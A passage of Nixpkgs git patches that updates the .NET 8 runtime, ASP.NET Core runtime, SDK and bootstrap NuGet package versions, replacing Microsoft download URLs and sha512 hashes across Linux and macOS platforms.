+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-x64.tar.gz";
+        hash = "sha512-o1QPicloU1OO4RQUWsmZHyIr6JFbgDlBkYFP2qvvOrwjXWBXmfo3WWLAkJrwOz0L8ax2A0LFZhQNkU9/cGaSvg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-arm64.tar.gz";
-        hash = "sha512-jsx0qVkTEo56VGFjlUH9hhnAMH1JYGLGPFAi44r+op9wozgJM2HVwwnqUcqtVGP7x+yK5rhr4n0+kmdWQkEOFw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-arm64.tar.gz";
+        hash = "sha512-eBdKcYFy/lGNAEo8H+/L7HMe32jip3dMb6lRIwgRUvLJUe/mxhStnB+RWJfAl43GD+ecn5tuw+KKHpBQ94U2fg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-x64.tar.gz";
-        hash = "sha512-KAqOpgHl1xLNORTYT/l1+Hj0tX7fYZnoBa+TuWhWumLQL2yfha9lhg8QjM+w7q3Usqr+E6bkkv4+IYDjRU/Y2w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-osx-x64.tar.gz";
+        hash = "sha512-P1koY2bq198GFJUHuMHHkE5hSg+U2P8SjRrAS55LL6owje62extXbEA5HNWSaTYXuwVIoUQft8VeF6dFb3nHnQ==";
       };
     };
   };
 
   runtime_8_0 = buildNetRuntime {
-    version = "8.0.16";
+    version = "8.0.17";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm.tar.gz";
-        hash = "sha512-PyRbnUYDgJGX2B2AoH1FE8jRYIF5sfQGm+3jxrz26Njrd8dPX/rahfuK9RcFKifT5K3lRjGUVX3rManwJBfk/A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm.tar.gz";
+        hash = "sha512-u2G7Xl3rf7wDDAh/2mA738EqgzP7QK6752Df1cSkmkoSsqYDqhzhb2ZgZNb5OuwS/hb3E240tPXheX4Yc5hPXA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-arm64.tar.gz";
-        hash = "sha512-3bFN2M7PiAaWmBJiWRk6JaabS0eu2iqhZByMAwGy5XYJWZgct2fX8UrTfKmZNsQTb119LrUdSGAxjnr6NHR1Lg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-arm64.tar.gz";
+        hash = "sha512-5C+8g7+C7kIvF/Hrcu5/T+9sGQSPrqEGBYcVwXX7iKqT+K+02dHfaC0Lz05n8aH0xpz7QtXTxm3YYoqO/ctBEA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-x64.tar.gz";
-        hash = "sha512-4JJPiLZ5XWaeXGJ4hFpXS3X72bWutjoO1jgiT7jT1IuRuyqa+yct/V9A6CQdQahHkrn8/kJuj9z6FBFrwTLO4g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-x64.tar.gz";
+        hash = "sha512-1XM4i9ZN6xLmRk/GpCQPbtfNHGsXNwCWMEuKwtgAMYw682+BhaO3gK/lKwQYJN7vnTd6lqa67XWcgoOCkFRkmg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm.tar.gz";
-        hash = "sha512-obQ9XKIxX9qNN3fSCqqeRyWmhnsEMNkxBp5lMN7DLmxu9kEy5xeIKO0QxaNp+MDCt6QmASt17mF+s89lMFrbKA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm.tar.gz";
+        hash = "sha512-MHewWpOmltw0lw1ibcafCOFzw1S72XmZFATXmJnEHr8/upiE1CqPhS5IHuhdjKhesq764x+OSusvdpHVHp3z7w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-arm64.tar.gz";
-        hash = "sha512-mvLKdnzZTiO46RZVgqutGOEdPyXJcvq60ZuXQ1FEd0qkJ3RuYFYTL6I2HiN4Fc416LYkRkHZL1EUJyI1Zau5IQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-arm64.tar.gz";
+        hash = "sha512-gH6LRXbnGWJAY0nzJQaltKvXKR1L98lR5euA/KzPd8w/G1f+TnEQ0LcWlVTg6JBcSYi7dBfwMJvey8rcquy9Zg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-linux-musl-x64.tar.gz";
-        hash = "sha512-rnf//h/I5rZaaQi8b4tBOz3BWonbGkJZdK12hr8wewaAdvdweboGIkEpp0IJwQqrp6QYpePd9Nvu+InC/E2iPA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-linux-musl-x64.tar.gz";
+        hash = "sha512-6prPLtAa/fUdiQiXboZjXXBOFSSdet5LNrLcifBO247YK0DgUxXOz1/cDpKd006VgPcDeSEprSxc4koDsKYkbg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-arm64.tar.gz";
-        hash = "sha512-c8NROsGHgdLpMFPdhclEfM3qff5szTjfmjYW91Hw9m/cTkN2Xy4o8ZtvI9jQdGmOAr5dksFNbQm3tMocKdR2Eg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-arm64.tar.gz";
+        hash = "sha512-n3f8O0/8yixku23sVpGoNDapoQTSnHGBC1+khTUCbuyx+7x4Ae6XgzNhmPDQj8kts01VkyeMpcE2A1Vthnph3A==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.16/dotnet-runtime-8.0.16-osx-x64.tar.gz";
-        hash = "sha512-9oAY2+9/jVtVNQ4sxDHF6a343rtnyXGii8jeD7/Sc7NCX0ph/T21RvtlCjXOzntUu+ZVMpTE0n9YRugyMA5AHA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/8.0.17/dotnet-runtime-8.0.17-osx-x64.tar.gz";
+        hash = "sha512-+vANPgV66ZcfMKKTfDI39so/qUkDK9q5KasLr8mXtCPBglMUCr3/rRa8tFGdSD+4tdCwP+PmPjRwWHmxqNbsOw==";
       };
     };
   };
 
   sdk_8_0_4xx = buildNetSdk {
-    version = "8.0.409";
+    version = "8.0.411";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-arm.tar.gz";
-        hash = "sha512-0pk325LvCF1MNzbxvoEcV06BzA/psd7O9BmcLVFwlHZIp8aU89KpY0A/QQQMfJofeMkJygzZPBrcALDtSMWJ0w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-arm.tar.gz";
+        hash = "sha512-YAYNmPje2xWxG4/KcJJpqda5RKeHHezCOM9/WIt4wS9zt/aPIb+h18JHq03tXLrUl21quPvlmkrymNU9DAN1lg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-arm64.tar.gz";
-        hash = "sha512-7nCQqd3INHq3Q6MTKgyKeCIMIZzkW5tMn1t0G39m6BkeqBYu8X2qODC42HTHOiaxmIKXWzXQrB2jF2G1pkx96w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-arm64.tar.gz";
+        hash = "sha512-f9cMl+VJ6HPO77Yu2f7zF1l/swCw+VSHhYcZojHm0zNDDHtw4CyBBcG6Z5RG9gVq8ActIsFzaJBtlEkfRwUTbA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-x64.tar.gz";
-        hash = "sha512-+4Vf8E2wEFlLt9qITjqG2pTiakPMXYWHJMwNPY7jH21k6wlVi609ulQKJQgiGbpBqn/rQNHE80aMNyDqTFUv2g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-x64.tar.gz";
+        hash = "sha512-5zBMN5jDrTJ4ojz6x+P4c6dg1r/gcZ6q/fapZmr+/48nMOfIT3/1l9NLXibRvMsI7MbiPH70N2VkxO1WjW0kMA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-musl-arm.tar.gz";
-        hash = "sha512-WGOaoEpT8TBQ+BvYD4uHaUkFq2AwhPjx2UZZ6i2CoN1HSnFMJVyTUVPhVLmzt4EQ4+d1RY5cMX+bL/nwYf383A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-arm.tar.gz";
+        hash = "sha512-aXxS3PIBEGxRzsx12ahB8SreFuijwvfkKxZxnFcDHFSaTjulBE1q0CAa0RaCDjbiCp2NVX1Dae9SMUc/9RO2jg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-musl-arm64.tar.gz";
-        hash = "sha512-MSj0qsPVYvA3zyJoQzH/t9OKzLtbn/iYRanuj42BDBazaqOL1dqZMgSCalm5Npg3zDIGSTz9bMW50jF1QzF7mw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-arm64.tar.gz";
+        hash = "sha512-E1T66KTG65g+A+0AWYng+QjlS7kt6dkV+E13yvXr0T2q7yGRbGs677Pmo2mLSOJbRybV/tOfC1EvUXVH4MluCQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-linux-musl-x64.tar.gz";
-        hash = "sha512-gGEoRapNycgUs6Cg6btoSRnfqJd0yKFCza7dTS4qFbfKp46LBsig9INDJkkpCPtgmqXziBEfpn1/ED6wzXImaA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-linux-musl-x64.tar.gz";
+        hash = "sha512-1GIcGYtrn6uKfz6UItc3fCZxiA2PEE9s1bqwFl8ILR8vCjQdMwW7zn3w/N/2lsBhtOqq0aeoTwjEuMH7hdZQvg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-osx-arm64.tar.gz";
-        hash = "sha512-N3xSNwNCGD/1dcGNP0nRBGgyXyclNLAMUkbzqt+w52AdYdS0K7kT6NBTll+1kfzf+bESP4X42JcyJr8lGA31aA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-osx-arm64.tar.gz";
+        hash = "sha512-2ZHAegXD9H7UyFEdTymMyT9fbGClUnF89bm4+OM99tNnal7TP/8JlwAPU31ZdZnR2O6tqPpXdcasPB0uqAVURA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.409/dotnet-sdk-8.0.409-osx-x64.tar.gz";
-        hash = "sha512-suDu2U4SF0hMzIukqsjXWWs1AyrWBB60btcaqCHYvXHz4eyagsCVSA+D73Q0JYLZW12yh7U3cmkvH+OhlTswWw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.411/dotnet-sdk-8.0.411-osx-x64.tar.gz";
+        hash = "sha512-RtcyQBGXqdCNFiveiIMvQlRrGliZ9hSRQAh/V7T2OvcsjbgxrebNkQ/RPJHeYoACkK0SkSbJ/GpsTHdqZb7eCg==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -743,39 +743,39 @@ rec {
   };
 
   sdk_8_0_3xx = buildNetSdk {
-    version = "8.0.312";
+    version = "8.0.314";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-arm.tar.gz";
-        hash = "sha512-gNp3oolOQ/voJhRVAfN/qWJOh70TanEjXN4gFxNTFdMVfIe9d91UekxZSm+MfaXRdUGa7D/SWRHbRxnseS6i9w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-arm.tar.gz";
+        hash = "sha512-GT2/BYixOzB7fklts1171djdkhpofI3GEbgkHw6mf6ouzfondNg7XttTl7QHtwlCD8KYQd2igeiboE0jqx0y+A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-arm64.tar.gz";
-        hash = "sha512-y3VxuhGVatH03KArAqYXe00Kgvhe3agmfdhJjw8xwuLi9rPOhuBGleXJO18TMYfQxeNdIq+8tnaloC7JoSPztw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-arm64.tar.gz";
+        hash = "sha512-qBI3o0okZeTEiukg0QllVn8bAbxkbTR4yVXpjU0Xu03fkfwwP8H4WVaufu0dgGco1/94C7NSAo+ZoCbY2yHg2g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-x64.tar.gz";
-        hash = "sha512-bh/w6VgwPRIyqaHOJkfnSqq8KKW5PhChXd8BLu2Z2z4xkqPJHnsRBttuG1sq3si6BPI3RX+oz6652LyaDokLtg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-x64.tar.gz";
+        hash = "sha512-r7sNcDkueSwLWLn2TX3W+UV2DHm7OZXTvFmYxtEPOHlOVs5jTVIHRkMBwLDbYKltPfb4O2i2yNZtenbkZrSxIA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-musl-arm.tar.gz";
-        hash = "sha512-C8hDdwkOgW4224NnbFrHwH69kdGRI3WbghUJBbBa7D4TNAF3f8+rpAfjvfL5YK9O6EmcRuV1uCrs0IXrSa/iTg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-arm.tar.gz";
+        hash = "sha512-Ylw1hRevy8bNArDzkHWOAGw78zjAsLZfMfToixZ/+kKkNKTNpmA6azJ0wRcGJtbX7BYABQArtka9VH+m/ILe4w==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-musl-arm64.tar.gz";
-        hash = "sha512-tza613fA9r3rW2r4dYJ7RUkmuLgFmnqtpWQ13/HRTUKQULXv/Khu2GlviDd/9hPzOzsfEeUKHfuK4ghnEgx90w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-arm64.tar.gz";
+        hash = "sha512-LP+BBEU7oWaFs9wRtGlA6dsIM4f0nQOUI/wCglN2yY1Ekq/Ea0MKLoY7GVLS7GuW0EIzeBkeTFiSOh0KrBWqXA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-linux-musl-x64.tar.gz";
-        hash = "sha512-25X7BG1G3FnYsiXTcWwrMjtm4dzVOUwX5E/544O7y5NnrHM/P9tYHj4qH9RDjPwoMWH4tGdFAsdGUeZFkqw88A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-linux-musl-x64.tar.gz";
+        hash = "sha512-9XMfOVx+QUJ4XtrXS5m7ZEPq7vBpsVbkf0pu+1lK7hPcjD+Cb1UYJuq+0bnB434pzKnOMdFQ/+PioRlzbDHCJA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-osx-arm64.tar.gz";
-        hash = "sha512-bSfd2hPkGjqY8Y3d/x/umUqWnZfa5mAc+2y9J1iyk9pv2guFuhLNHCnj9+mh+hnxPLK6ZzsMT44l0aLH12xbeQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-osx-arm64.tar.gz";
+        hash = "sha512-iYlBXnvVjE2aTmjMeMxYuSbLjuNHhPV5+t9BkJyadMFMAQCnMGrC/1HcMso5dwT+nEUq8Mpqu3a6L24R/4Rgjg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.312/dotnet-sdk-8.0.312-osx-x64.tar.gz";
-        hash = "sha512-nRKy3FnojVBdfp+iAosIlpMj/F+qIDQc7VRvus5avLnld/rc6f63FOWnVDxqclU1m0G+6mDInNUDjVnobT/XOA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.314/dotnet-sdk-8.0.314-osx-x64.tar.gz";
+        hash = "sha512-iFQLs1cB4jM/QgHCngXz0nziXpnYz8ZHQR4xibH67JppYb786sStaVG+b7lpSJIern4s7yLbqgl/pcYplNt9dA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -784,39 +784,39 @@ rec {
   };
 
   sdk_8_0_1xx = buildNetSdk {
-    version = "8.0.116";
+    version = "8.0.117";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm.tar.gz";
-        hash = "sha512-FfLxzRXFY1wiIw8z/TBGb7vnjUbeCak+S5NwVze6vzae1/C5EZZeyj+PbHpmGvYLqxW1Ug4iMp+aJ+1BisIm9Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm.tar.gz";
+        hash = "sha512-CgzKANmRmMKHWU7s/z1Kxm8yqhhtuDt4gicZu+pnLIdGA66Du6xnsmUXvb0FkZ6fGJE/wX8cwNUa1H2CHicxvg==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-arm64.tar.gz";
-        hash = "sha512-jyC6TSULBIslAreV70m/A9gzMyx8Sr57cSY4xIh7S7dmabwXzVV3BkJmRmH7MrdbGEcVyPpq5VAD9yrIOyFWQw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-arm64.tar.gz";
+        hash = "sha512-m2XhpXkkDlNweYvR2F8+D/5rj+t7bIgyjbkHBq037jjiBDlHRbd4tZ3UHAZMA6N8B/DeU09/D+AR0TDGJjYUig==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-x64.tar.gz";
-        hash = "sha512-lsY0oNFnhCn+3pkwM2ugNR0VELxNBFa51yJcXJ1YfXAOjzDoQd/Wdf/4qMcJy+8gnKh9Ectlf8svISte767Icg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-x64.tar.gz";
+        hash = "sha512-pnObWHt3axVv/hnSVxGxQSYbe1vs/wDLga7lsvBpT0YAeZxiXrhE1bp0ID3VoSEdw0urYsVJYf5+t6kuGn2/dw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm.tar.gz";
-        hash = "sha512-UGE9fDJJLJksfQGfGE8JcakRQTfsn7LrtJIbhpnv/YKKwqH3f7Yb4fRc0f7Ekz1uQA1EkdorkQb0dZt0lJQxPw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm.tar.gz";
+        hash = "sha512-BUD69RdN8N2xb8DlyobhKNDUteSSnfYjpBx2sG8w3UjRENILeFRIBkID404apOcTtlXUKfvNNhf4K2CVxHlANA==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-arm64.tar.gz";
-        hash = "sha512-xmoQFBSkDmJTMKjLyFn7uKxUXIcaNCnoXWt4kAOzzC0gJumBBTliSO2KZq8p7/GbE+lLCrXAYK7449OML2ezdg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-arm64.tar.gz";
+        hash = "sha512-2Rn9gNkGDv4f27BHZU8k3k3DngfQI27My3AfN2R+a1i7QQVXmt2nT5xAkZCK//Wr777DbIG0hYisbRY7IigE6g==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-linux-musl-x64.tar.gz";
-        hash = "sha512-47A8T6hvHfvHAJlTAAgqgdxK8j3ypZyjtpyJ4NNy48yVRL2wXuAsD2FUsrrJevAAFkxSSuvQqpFuxy3zKbZThA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-linux-musl-x64.tar.gz";
+        hash = "sha512-8BtBJhZ5lcNSYv/ndp0hymsFWzmIL1zMtoU6wvTDBzYlByDzicy42RQywYLkldWbhrPDbR7facGUJkkmUlsmRw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-arm64.tar.gz";
-        hash = "sha512-2HyTfYHHtBXcK/7fMV2s5giWsP9b7GTQF9q2EqrBpUSCrcfFnYYSUn5iLCJW1ehwBaIR89M4kNM/o8+uABx11Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-arm64.tar.gz";
+        hash = "sha512-asjtVua8XA2rnp11nv37jqtpDknaTzJqple7pPBzINi7VAM/xw01AIdrI9tX2FqmgyXXZlNbkqirJKufSC98ag==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.116/dotnet-sdk-8.0.116-osx-x64.tar.gz";
-        hash = "sha512-Pj1nGgahBXZRrtE3jGTt6dz3tGsAXmil2RnOW/K1VTuZroKQn/H6e/kU1n+swRiYsOHPxI7Rx5wcT7+XcwhUUg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/8.0.117/dotnet-sdk-8.0.117-osx-x64.tar.gz";
+        hash = "sha512-sOvJ3YuHX8e5TphubByaLVFhPjKXkWMwUITalCNeGXSmFIhSgdgOKCfhXXd1u4u/AAH3dR/mgZH3EL2rJGXl5g==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From ae41f9192d7210c5dcf5bd4c60ef640e0776cf49 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 10 Jun 2025 22:18:21 +0000
Subject: [PATCH 1073/4511] dotnetCorePackages.dotnet_8.vmr: 8.0.16 -> 8.0.17

(cherry picked from commit 8e924d207b0bab129d1cca232a0a6a2b1418f016)
---
 .../compilers/dotnet/8/bootstrap-sdk.nix      | 552 +++++++++---------
 pkgs/development/compilers/dotnet/8/deps.json |  48 +-
 .../compilers/dotnet/8/release-info.json      |   6 +-
 .../compilers/dotnet/8/release.json           |  12 +-
 4 files changed, 309 insertions(+), 309 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
index d2d3480c5af0..876b5de1c060 100644
--- a/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/8/bootstrap-sdk.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.15";
-      hash = "sha512-FhQhAwAbCo0xUMBy6LpB+tMgcY04sjOgqt4O5wupIi0R7usPz4ZNa2zRqUHpZM7TjHl4rObxd+l2sTe4uru5Ew==";
+      version = "8.0.16";
+      hash = "sha512-MR9FAOeqTC6UU2XS6s85l1wtrEQBn7/3nT/j2NoSEmxaYC5C8sJQQruOgm2RsLbNltiykKWQhutv9YJtZdsfnA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.15";
-      hash = "sha512-A4ztAaWB1jk37IwRVblTvhBbx34dMGVZoI69dVVD6+lPBY4s50kZleRt47oaLs6/j8FyCsJP388hOW+jMKphWw==";
+      version = "8.0.16";
+      hash = "sha512-aALkqzq7+6p6/yXuUgiGinbvn6JaG+OCe95pSGM+yxtqMYCYmzX31n6kU9OPTn9VdgzW8Xs/ZDIlzAvBRC8JJg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.15";
-      hash = "sha512-wwHBromlatQTFCY5gKFiusdDH4FcNGjWQ+TdezM2yESbNHueDQgtkQkBsLVf3tmS3EVrgWnZ2QKQqiJguvR+mA==";
+      version = "8.0.16";
+      hash = "sha512-vEEL6YBpGBdlV4x8i/p/KFJrNIBG3az+5ht8RQW3YIw+WmCL1QVRkiPEvXVSSmEkaPJrH8c8mMl818AE/S5CWg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.15";
-      hash = "sha512-gu8T4Wv+pAvYQsqsqjiiff/7LfIWDVadnWwGra3zf0NGIe98LIzAogx3xkzJbG/GPinPpXr1RCF0jgRkDH1qxw==";
+      version = "8.0.16";
+      hash = "sha512-LYLsVR9dlV8GsIXn4uvX9l0JitGP/YqtYiTp7JiTN3wqvlaBLDwocZ3GBOwDiASzlmyu38oDtDLbF75ohEELvg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.15";
-      hash = "sha512-P4dIx6GcUGS3NKGpvIncjVehOqtZBj5dxOEaU4kdGfpXsK13AaBQAha4oiEwkFIlb6kt0At1RPpT3RnSouNeiA==";
+      version = "8.0.16";
+      hash = "sha512-52G/zHYDyNRghtFkuOo6I9pXwsd7qkzH9WLKmOVdC+X0LXKDprE7YISR4EuiErNc0OE1qKhCNdhjyr6W2c4PMg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.15";
-      hash = "sha512-ghZ3yQjf58OigMMtuqUSnUeOpHWUhszUc/Bv1O7jcGMy152wU6eRWsa0kNVC9l3Y9lBa0T9V3y89Us+PM0P+eQ==";
+      version = "8.0.16";
+      hash = "sha512-R/LLslGX8t8qwOGsWReybSsGiXuKCdOSdH5Pb6VBiuqgCuygU2rLCZPdN2dNH1WcPqAPFJFW3fcjdc9J3mElhQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.15";
-      hash = "sha512-4H4DmF3CNXSOIpEUo1eVxA0Lt0YT67sixjDdRCjuw6OfDHTDAoxo3OtRYirzzpetFYRhSICOJ/zIjECtqJYZqQ==";
+      version = "8.0.16";
+      hash = "sha512-OEv1V1AQb892jWtsrylFlewn9SDwdxRDSCSmhDcpJOqz39CBgg0zEH/dM+LtWMne/uwMBtN8Kt4oUEfHKzWblg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.15";
-      hash = "sha512-MnMlsnCehIX46CH6RCnbPsX06DV3oXtNUz2hDmIYzz2Oca7gf9TtYQ5t1/afObfSy7sutqgmaOmRng0R75kRBQ==";
+      version = "8.0.16";
+      hash = "sha512-Pz3s0acdPIqpr6H45samMDpqa25Mg/DXcrlRfVySBCznpNI613r3MnMjCiSzYaDhi4HbvTl0+dkFcUtccmQ6Bg==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.15";
-        hash = "sha512-XoTtttWBuYlqcXPK166EvPC1x60ypjLXtSQzhUopHg5+lxztgg/aTDsxH+TxA8UH/EXaR31Tata/UIgW0zKXbg==";
+        version = "8.0.16";
+        hash = "sha512-jBdU93KORqByySIYxL9FmzjC36WNKQ0HcGT0EkvwTmHh0CxpGVoH5icQYtZK66liLsLbgR1B654GpISLsOvVJQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.15";
